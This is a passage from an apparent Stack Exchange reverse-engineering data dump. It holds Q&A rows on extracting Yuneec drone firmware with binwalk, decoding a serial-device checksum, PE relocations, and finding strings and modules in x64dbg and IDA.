66 73 56 45 77 37 32  |U8FOg0AQvfsVEw72|&#xA;00000040  31 41 4a 74 59 30 77 4b  74 49 33 47 47 71 4f 4a  |1AJtY0wKtI3GGqOJ|&#xA;00000050  4e 74 58 30 5a 6c 59 36  68 54 58 73 44 6c 6b 57  |NtX0ZlY6hTXsDlkW|&#xA;00000060  30 2f 72 31 41 6f 56 41  74 56 52 37 39 6b 44 43  |0/r1AoVAtVR79kDC|&#xA;00000070  76 70 6e 33 5a 6e 62 6d  72 54 50 65 69 41 67 2b  |vpn3ZnbmrTPeiAg+|&#xA;00000080  55 43 57 63 70 4e 75 78  65 31 59 48 55 50 71 30  |UCWcpNuxe1YHUPq0|&#xA;00000090  34 6a 4a 77 4f 38 2b 4c  6d 2b 35 6c 5a 2b 79 64  |4jJwO8+Lm+5lZ+yd|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;looking further into the file, I see that there are several files and I'm able to extract them. But from the HEXDUMP I can see there is a structure of files with in the hexdump. Here is some evidence from a longer hexdump of the file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hexdump -C autopilot.yuneec.bin | head -n 70&#xA;00000000  7b 0a 20 20 20 20 22 62  6f 61 72 64 5f 69 64 22  |{.    &quot;board_id&quot;|&#xA;00000010  3a 20 36 36 2c 20 0a 20  20 20 20 22 61 69 72 66  |: 66, .    &quot;airf|&#xA;00000020  72 61 6d 65 5f 78 6d 6c  22 3a 20 22 65 4e 72 6c  |rame_xml&quot;: &quot;eNrl|&#xA;00000030  55 38 46 4f 67 30 41 51  76 66 73 56 45 77 37 32  |U8FOg0AQvfsVEw72|&#xA;00000040  31 41 4a 74 59 30 77 4b  74 49 33 47 47 71 4f 4a  |1AJtY0wKtI3GGqOJ|&#xA;00000050  4e 74 58 30 5a 6c 59 36  68 54 58 73 44 6c 6b 57  |NtX0ZlY6hTXsDlkW|&#xA;00000060  30 2f 72 31 41 6f 56 41  74 56 52 37 39 6b 44 43  |0/r1AoVAtVR79kDC|&#xA;00000070  76 70 6e 33 5a 6e 62 6d  72 54 50 65 69 41 67 2b  |vpn3ZnbmrTPeiAg+|&#xA;00000080  55 43 57 63 70 4e 75 78  65 31 59 48 55 50 71 30  |UCWcpNuxe1YHUPq0|&#xA;00000090  34 6a 4a 77 4f 38 2b 4c  6d 2b 35 6c 5a 2b 79 64  |4jJwO8+Lm+5lZ+yd|&#xA;000000a0  4f 59 79 72 74 57 49 43  45 2b 38 4d 77 43 6e 7a  |OYyrtWICE+8MwCnz|&#xA;000000b0  50 64 73 78 71 39 38 63  72 70 4a 65 53 2f 42 56  |Pdsxq98crpJeS/BV|&#xA;000000c0  73 48 64 53 65 56 5a 4c  35 44 43 4a 79 7a 5a 53  |sHdSeVZL5DCJyzZS|&#xA;000000d0  45 64 6b 6a 42 59 72 53  47 4c 68 67 41 62 72 47  |EdkjBYrSGLhgAbrG|&#xA;000000e0  4c 57 37 59 6e 44 53 70  70 51 45 79 69 2b 34 51  |LW7YnDSppQEyi+4Q|&#xA;000000f0  6c 53 4f 77 4d 58 4a 69  67 77 70 38 35 52 6f 58  |lSOwMXJigwp85RoX|&#xA;00000100  56 74 38 32 51 44 41 75  64 66 61 68 63 6f 30 48  |Vt82QDAudfahco0H|&#xA;00000110  70 6e 58 49 57 51 49 7a  52 57 39 77 48 75 6d 52  |pnXIWQIzRW9wHumR|&#xA;00000120  4b 4a 48 4a 4e 70 57 49  76 73 49 45 6d 66 4c 44  |KJHJNpWIvsIEmfLD|&#xA;00000130  6e 6b 2f 69 50 4e 43 6a  71 74 51 4d 4d 7a 37 33  |nk/iPNCjqtQMMz73|&#xA;00000140  6f 56 45 53 41 69 53 42  57 6d 33 4c 32 6c 6c 31  |oVESAiSBWm3L2ll1|&#xA;00000150  50 32 4a 4a 34 6c 31 52  72 46 45 35 35 75 35 55  |P2JJ4l1RrFE55u5U|&#xA;00000160  78 65 6f 32 76 4a 4f 37  63 4d 77 47 75 78 4c 55  |xeo2vJO7cMwGuxLU|&#xA;00000170  32 78 69 39 52 6a 2b 4f  57 53 42 56 6d 46 49 64  |2xi9Rj+OWSBVmFId|&#xA;00000180  70 37 70 73 66 2f 71 38  74 41 31 76 6a 62 6a 71  |p7psf/q8tA1vjbjq|&#xA;00000190  36 6a 41 62 61 68 41 43  72 57 46 2b 42 58 6b 41  |6jAbahACrWF+BXkA|&#xA;000001a0  2f 4a 42 4a 69 5a 46 6a  37 6a 69 74 45 76 30 32  |/JBJiZFj7jitEv02|&#xA;000001b0  69 66 36 66 4a 51 5a 74  45 6f 50 44 45 72 56 50  |if6fJQZtEoPDErVP|&#xA;000001c0  43 6d 65 59 2b 39 59 34  34 70 61 6e 6c 4b 33 32  |CmeY+9Y44panlK32|&#xA;000001d0  33 5a 49 6a 78 39 77 79  74 4b 78 76 62 72 6b 6e  |3ZIjx9wytKxvbrkn|&#xA;000001e0  68 66 49 54 48 70 43 6a  4b 74 59 55 46 63 41 6b  |hfITHpCjKtYUFcAk|&#xA;000001f0  33 67 78 37 6e 41 37 5a  6f 36 36 78 42 4a 2f 6b  |3gx7nA7Zo66xBJ/k|&#xA;00000200  6d 67 63 6e 6d 2b 50 33  6f 75 31 75 61 46 7a 78  |mgcnm+P3ou1uaFzx|&#xA;00000210  48 37 6a 68 78 77 4a 74  79 39 70 66 34 42 32 46  |H7jhxwJty9pf4B2F|&#xA;00000220  45 71 34 4a 69 7a 6d 2b  5a 34 64 4a 39 6c 78 45  |Eq4Jizm+Z4dJ9lxE|&#xA;00000230  48 47 48 62 38 31 35 4d  48 37 73 76 77 35 4e 57  |HGHb815MH7svw5NW|&#xA;00000240  64 32 7a 77 76 37 6d 33  52 6a 4b 39 4c 33 61 46  |d2zwv7m3RjK9L3aF|&#xA;00000250  33 75 59 3d 22 2c 20 0a  20 20 20 20 22 61 69 72  |3uY=&quot;, .    &quot;air|&#xA;00000260  66 72 61 6d 65 5f 78 6d  6c 5f 73 69 7a 65 22 3a  |frame_xml_size&quot;:|&#xA;00000270  20 31 34 35 33 2c 20 0a  20 20 20 20 22 6d 61 67  | 1453, .    &quot;mag|&#xA;00000280  69 63 22 3a 20 22 46 49  58 4d 45 20 28 77 61 73  |ic&quot;: &quot;FIXME (was|&#xA;00000290  3a 20 50 58 34 46 57 76  31 29 22 2c 20 0a 20 20  |: PX4FWv1)&quot;, .  |&#xA;000002a0  20 20 22 64 65 73 63 72  69 70 74 69 6f 6e 22 3a  |  &quot;description&quot;:|&#xA;000002b0  20 22 46 69 72 6d 77 61  72 65 20 66 6f 72 20 74  | &quot;Firmware for t|&#xA;000002c0  68 65 20 54 41 50 76 32  20 62 6f 61 72 64 22 2c  |he TAPv2 board&quot;,|&#xA;000002d0  20 0a 20 20 20 20 22 69  6d 61 67 65 22 3a 20 22  | .    &quot;image&quot;: &quot;|&#xA;000002e0  22 2c 20 0a 20 20 20 20  22 70 61 72 61 6d 65 74  |&quot;, .    &quot;paramet|&#xA;000002f0  65 72 5f 78 6d 6c 5f 73  69 7a 65 22 3a 20 33 37  |er_xml_size&quot;: 37|&#xA;00000300  34 33 38 33 2c 20 0a 20  20 20 20 22 70 61 72 61  |4383, .    &quot;para|&#xA;00000310  6d 65 74 65 72 5f 78 6d  6c 22 3a 20 22 65 4e 72  |meter_xml&quot;: &quot;eNr|&#xA;00000320  73 76 65 31 32 32 74 6a  57 4c 76 67 2f 56 36 47  |sve122tjWLvg/V6G|&#xA;00000330  52 48 75 38 75 75 39 72  47 67 49 33 6a 56 46 56  |RHu8uu9rGgI3jVFV|&#xA;00000340  79 42 67 46 73 63 77 6f  62 4e 68 43 6e 55 6a 38  |yBgFscwobNhCnUj8|&#xA;00000350  4f 51 77 61 42 74 51 4d  53 72 79 54 73 75 4d 62  |OQwaBtQMSryTsuMb|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there is evidence that the files are there, but I'm not able to extract them. I do get and extraction of the files by running the -e in contention with other options (can't recall now ) and there files are of the Stuffit Deluxe Segment already encountered on the original file. Here is the output of those: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk *.*&#xA;&#xA;Scan Time:     2019-10-20 22:13:13&#xA;Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/108304.sit&#xA;MD5 Checksum:  c743a9f92c5f2ed0c63ad834f1f1a2ff&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV&#xA;1048          0x418           Unix path: /9IZpCOp8aA0pWxFoU/qICmgQCD06roNe/QhyUI/zphjCQriq9Y9bYLMDe2nGhIjeU0uqE82VdjGUDsPJmXXG3q3RnYaKEzSbh+heZA/o2KgUr2ilWoy5aEbcYkbSgZr&#xA;30789         0x7845          StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5&#xA;142736        0x22D90         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;&#xA;&#xA;Scan Time:     2019-10-20 22:13:14&#xA;Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/10FB49.sit&#xA;MD5 Checksum:  383e25c46cbe08f1f44f5ba4a7a2b23e&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5&#xA;1938          0x792           Unix path: /C3Yf6WlMao/H8X/P94eFW/P2jZ+WxAy6iX4GODwwvK7l3FAf7UkAmVVL157I13iX9BxN797C9LdV8yr+Tqih5ucCRW4pmxBiDv4LM5oCmFl3Lsy6hcvYkGBNq4OsALe&#xA;111947        0x1B54B         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;&#xA;&#xA;Scan Time:     2019-10-20 22:13:14&#xA;Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/12B094.sit&#xA;MD5 Checksum:  0cedc23fb97a6be737f8b19fe4fa83e8&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;7816          0x1E88          Unix path: /xmNYmKIgj983/C6LNZBDZZ1PBYuFljKA/udUZWq/xcRk/b2qkMdFFFun24p1yfXj8HH6o+7BTY+yiuqS2wmFGQcyGnUNDejvqTCNY4RWSxwzgHMnxypHYN6dHtRo+Qy&#xA;&#xA;&#xA;Scan Time:     2019-10-20 22:13:14&#xA;Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/5124.sit&#xA;MD5 Checksum:  bdc1b18e4bcb42bc731245fcfa27b761&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             StuffIt Deluxe Segment (data): fC+p1/WeN+x6czuMKj/2G97vs7bIlzF9t82VVYQdsBVEperQb/356B5eTU4a1S7KhOJMYkGX0UIgBnWVoOiawdyqh+jIXg4yBi3qEy0TAzdhx/RwATTujWRGgu6qUPDX&#xA;5713          0x1651          Unix path: /AaIPd2yffa51zhvtrCbPfME/OwaB1UKFGtwC1VfCX/Bnz9PIOoW/Vlt/OuyUxJb2m8IdFNi0ltwJlJjD6brZvSnSVKCGztof2phz4ECcojhBc7SFMc0IBaTq4+VCrJF&#xA;42905         0xA799          Unix path: /AX5BC/lwR/velbnL9Z26N8WkNPRKvRO9U6/Yeim7oVvEVZssaKxYSrcDXs1EswWwxG/q47kDI8f2QpdO82ijIuW6KrNWyrC7mFSTMGxdTkE77D/IFVwXMUhDG5DdaVd&#xA;524224        0x7FFC0         StuffIt Deluxe Segment (data): f1KJONum4Fp1JGYhMLa6U6dznBT9ORW23cOYJZnU7ijq+AwegqRxK9Von+ry5p35p6LZBShghnv8RjszI+TzBZ17KvvMN+Qj5may1mfVTQR96rur5jzYLQ5pDngg+qRq&#xA;680480        0xA6220         StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH&#xA;1052302       0x100E8E        Unix path: /diG/xwJS/rWqa4AL8ELFEfEhzsibv8h/qT9TXPHnMRgrYbXYbOHkUA5JUwilEpCy5tsSS4LU69URyqwMw4CrUlCgzLh4dpOvHnJDIBRHWPXCweEw8dZAeu99U7KlmjK&#xA;1061344       0x1031E0        StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV&#xA;1092133       0x10AA25        StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5&#xA;1204080       0x125F70        StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;&#xA;&#xA;Scan Time:     2019-10-20 22:13:14&#xA;Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/850E4.sit&#xA;MD5 Checksum:  4470f1b474f55b2c49e0dd40533ec13b&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             StuffIt Deluxe Segment (data): f1KJONum4Fp1JGYhMLa6U6dznBT9ORW23cOYJZnU7ijq+AwegqRxK9Von+ry5p35p6LZBShghnv8RjszI+TzBZ17KvvMN+Qj5may1mfVTQR96rur5jzYLQ5pDngg+qRq&#xA;1429          0x595           Unix path: /YfDEvlo895/XIm8sDYIw8ZWQv/D1TF/uECwt/3mOgdKx/fVzbq3mNxVsLU4qRb3HAEbQa7NVLjv3yVdNmT0qaDnxw2V0FaK/CkbfZGTXogLx64h8UqCpqOd9zxnyJ+G&#xA;156256        0x26260         StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH&#xA;537120        0x83220         StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV&#xA;567909        0x8AA65         StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5&#xA;679856        0xA5FB0         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;&#xA;&#xA;Scan Time:     2019-10-20 22:13:14&#xA;Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/AB344.sit&#xA;MD5 Checksum:  8047755915c77c23f72cefe7a31a77bf&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH&#xA;2763          0xACB           Unix path: /BiAgZQCJRb8x/JUIyQOuzHXLWBM/xk/6UNRj2qPbl3wmnJD8duNt3neZ1iPLIptCVW4lcj7/fAKkQQOPeRrMpnscX4yRK4jhBhfO7hbNAgQDS9lokF5ExXUoV2Jo5Bs&#xA;380864        0x5CFC0         StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV&#xA;411653        0x64805         StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5&#xA;523600        0x7FD50         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue is, that as I look at these files, it looks like they don't match the hexdump, so they might be misalign. Also you can see the repetitive in the files extracted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point me in the right direction, I'm not having much luck extracting these files.&lt;/p&gt;&#xA;" OwnerUserId="29429" LastActivityDate="2019-10-21T09:03:11.433" Title="Binwalk to Extract Firmware is not working for me" Tags="|binary-analysis|binwalk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22357" PostTypeId="1" CreationDate="2019-10-20T22:45:19.630" Score="0" ViewCount="72" Body="&lt;p&gt;I've got an old devices which communicate through serial port. There's main device which send simple commands and then asked device responds. I've got almost all sorted out. The only thing left is the checksum. I've spend so much time on this but no idea pops out. Messages may vary in length, there's no length byte. Last byte is checksum I believe. Here's the data sample: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E1-7E-00-00-03&#xA;E1-7E-00-01-92&#xA;E1-E2-FE-00-00-D5&#xA;E1-E2-FE-00-01-44&#xA;E1-7D-00-00-B2&#xA;E1-7D-00-01-23&#xA;E1-E2-FD-00-00-64&#xA;E1-E2-FD-00-01-F5&#xA;E1-7C-00-00-62&#xA;E1-7C-00-01-F3&#xA;E1-E2-FC-00-00-B4&#xA;E1-E2-FC-00-01-25&#xA;E1-7B-00-00-11&#xA;E1-7B-00-01-80&#xA;E1-E2-FB-00-00-C7&#xA;E1-E2-FB-00-01-56&#xA;E1-7A-00-00-C1&#xA;E1-7A-00-01-50&#xA;E1-E2-FA-00-00-17&#xA;E1-E2-FA-00-01-86&#xA;E1-79-00-00-70&#xA;E1-79-00-01-E3-F1&#xA;E1-E2-F9-00-00-A6&#xA;E1-E2-F9-00-01-37&#xA;E1-78-00-00-0D-39-CB&#xA;E1-78-00-01-31&#xA;E1-E2-F8-00-00-76&#xA;E1-F8-00-01-E7&#xA;E1-77-00-01-07&#xA;E1-E2-F7-00-01-D1&#xA;E1-77-00-00-96&#xA;E1-E2-F7-00-00-40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;E1 and E2 have no impact on checksum, cause I saw things like E1-E2-FE-38 and E1-FE-38. 7E, FE and so on are devices id. 7x is main device data and Fx is device response. &#xA;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="29950" LastActivityDate="2019-10-20T22:45:19.630" Title="Checksum of an old serial devices" Tags="|serial-communication|crc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22358" PostTypeId="2" ParentId="22355" CreationDate="2019-10-21T09:03:11.433" Score="1" Body="&lt;p&gt;A few things: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Please include an entropy plot of the file using the -E flag; this will show if any portion of the file is indeed compressed or encrypted.&lt;/li&gt;&#xA;&lt;li&gt;Please include a link to either the firmware download site or a direct download link, as well as a link to the UAV product page. &lt;/li&gt;&#xA;&lt;li&gt;The presence of plaintext strings such as &quot;description&quot; and &quot;image&quot; in the hex dumps shows that there are portions of the file that are not compressed/encrypted. &lt;/li&gt;&#xA;&lt;li&gt;The signature matches for &quot;StuffIt Deluxe&quot; segments are most likely false positives, since Stuffit Deluxe, which is compression software originally developed for use on Macintosh systems, is not used in the industry for compressing firmware. &lt;/li&gt;&#xA;&lt;li&gt;The Unix path detection results are most likely false positives&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since at time of writing no specifics about the product and hardware platform are given, I went ahead and took a look at the &lt;a href=&quot;https://us.yuneec.com/downloads-typhoon-h&quot; rel=&quot;nofollow noreferrer&quot;&gt;Typhoon H firmware&lt;/a&gt;. Here were some of the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk cgo3+gb_3.2.34_LC2_A_firmware_30234.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;664           0x298           device tree image (dtb)&#xA;3199468       0x30D1EC        Linux kernel version &quot;3.10.73 (yaoyunzhi@SERVER05) (gcc version 4.9.1 20140625 (prerelease) (crosstool-NG - Ambarella Linaro Multilib GCC [CortexA9 &amp;amp; &quot;&#xA;3207468       0x30F12C        gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)&#xA;3291560       0x3239A8        LZO compressed data&#xA;3708100       0x3894C4        Unix path: /home/yaoyunzhi/work/cgo3_5/ambarella/kernel/linux-3.10/init/main.c&#xA;3708444       0x38961C        Unix path: /home/yaoyunzhi/work/cgo3_5/ambarella/kernel/linux-3.10/init/main.c&#xA;3711140       0x38A0A4        Unix path: /home/yaoyunzhi/work/cgo3_5/ambarella/kernel/linux-3.10/init/initramfs.c&#xA;3712026       0x38A41A        Unix path: /home/yaoyunzhi/work/cgo3_5/ambarella/kernel/linux-3.10/arch/arm/vfp/vfpmodule.c&#xA;3712504       0x38A5F8        Unix path: /home/yaoyunzhi/work/cgo3_5/ambarella/kernel/linux-3.10/arch/arm/vfp/vfpmodule.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Truncated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important information is found at offset &lt;code&gt;0x30D1EC&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Linux kernel version &quot;3.10.73 (yaoyunzhi@SERVER05) (gcc version 4.9.1 20140625 (prerelease) (crosstool-NG - Ambarella Linaro Multilib GCC [CortexA9 &amp;amp; &quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It looks like embedded linux running on a ARM Cortex-A9 CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You did not state your goal, but it appears that the file you are looking at does not contain the UAV firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching for &quot;airframe_xml&quot; led me here: &lt;a href=&quot;https://wiki.paparazziuav.org/wiki/Airframe_Configuration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.paparazziuav.org/wiki/Airframe_Configuration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-10-21T09:03:11.433" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22360" PostTypeId="2" ParentId="22345" CreationDate="2019-10-21T11:16:48.700" Score="0" Body="&lt;p&gt;Relocations are processed by the loader, just like imports and everything else in the PE header is. All of this is processed before executing the entry point. Typically speaking relocations will be initially set to the VA (virtual address) of the target using preferred image base address. Of course in many cases the binary will not be loaded at the base address, so it's a simple &lt;code&gt;reloc += (mapped_address - preferred_address)&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, consider an instruction of &lt;code&gt;mov eax, 0x40100000&lt;/code&gt; assuming a preferred address of &lt;code&gt;0x40000000&lt;/code&gt;. The instruction bytes will be &lt;code&gt;{ 0xB8, 0x00, 0x00, 0x10, 0x40 }&lt;/code&gt; with offset 0x1 holding the relocation. If the binary is loaded at &lt;code&gt;0x50000000&lt;/code&gt; then the offset would be &lt;code&gt;(0x50000000 - 0x40000000) = 0x10000000&lt;/code&gt;. This would set our example relocation to &lt;code&gt;(0x40100000 + 0x10000000) = 0x50100000&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastEditorUserId="29598" LastEditDate="2019-10-21T11:39:05.243" LastActivityDate="2019-10-21T11:39:05.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22361" PostTypeId="1" CreationDate="2019-10-21T12:05:00.920" Score="1" ViewCount="1280" Body="&lt;p&gt;I am trying to debug a program for testing but for some reason i can NOT find any strings related to registeration like Registered, Unregistered,Blocked in x64dbg,  i can see all these strings in the interface of the program but not in the X64dbg, although i have already tried search ALL strings, what am i missing?&lt;/p&gt;&#xA;" OwnerUserId="29956" LastActivityDate="2019-11-21T02:00:50.310" Title="cannot find a string in x64dbg even when using search all strings" Tags="|x64dbg|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22362" PostTypeId="1" AcceptedAnswerId="22366" CreationDate="2019-10-21T17:49:52.730" Score="2" ViewCount="591" Body="&lt;p&gt;For example I have a function sub_7FFA95D8F120. I've checked out &lt;strong&gt;Views-&gt;Segments&lt;/strong&gt; which shows .text segment. It seems that I am missing out something important. It would be great if someone explained or gave a link to explanation.&lt;/p&gt;&#xA;" OwnerUserId="28983" LastEditorUserId="28983" LastEditDate="2019-10-22T07:25:21.263" LastActivityDate="2019-10-22T15:09:41.887" Title="How can I determine a module to which function is related with IDA Pro" Tags="|ida|binary-analysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22363" PostTypeId="2" ParentId="22361" CreationDate="2019-10-22T01:24:35.167" Score="1" Body="&lt;p&gt;It is possible that the application is packed using a packer or the strings are encrypted. I would first see if it is packed using a tool like PEiD or Detect It Easy.&lt;/p&gt;&#xA;" OwnerUserId="29913" LastActivityDate="2019-10-22T01:24:35.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22365" PostTypeId="2" ParentId="22329" CreationDate="2019-10-22T08:24:55.900" Score="1" Body="&lt;p&gt;There is no magic bullet. To understand the code you need to figure out what it's doing and this is not easy. You can start by &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2099/60&quot;&gt;going line by line&lt;/a&gt;, but after some practice you should start seeing patterns at a glance.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-22T08:24:55.900" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22366" PostTypeId="2" ParentId="22362" CreationDate="2019-10-22T15:09:41.887" Score="1" Body="&lt;p&gt;At debug time:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;segments belonging to runtime-loaded DLLs are marked with their names (&lt;code&gt;kernel32.dll&lt;/code&gt; etc.),&lt;/li&gt;&#xA;&lt;li&gt;non-module areas (e.g. heap) have names like &lt;code&gt;debug038&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;segments coming from the IDB retain their original names, &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so &lt;code&gt;.text&lt;/code&gt; most likely belongs to the input .exe/.dll (whichever was used to create the IDB). You can also check the &lt;em&gt;Modules&lt;/em&gt; view to see the start and size of each module in the process.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-10-22T15:09:41.887" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
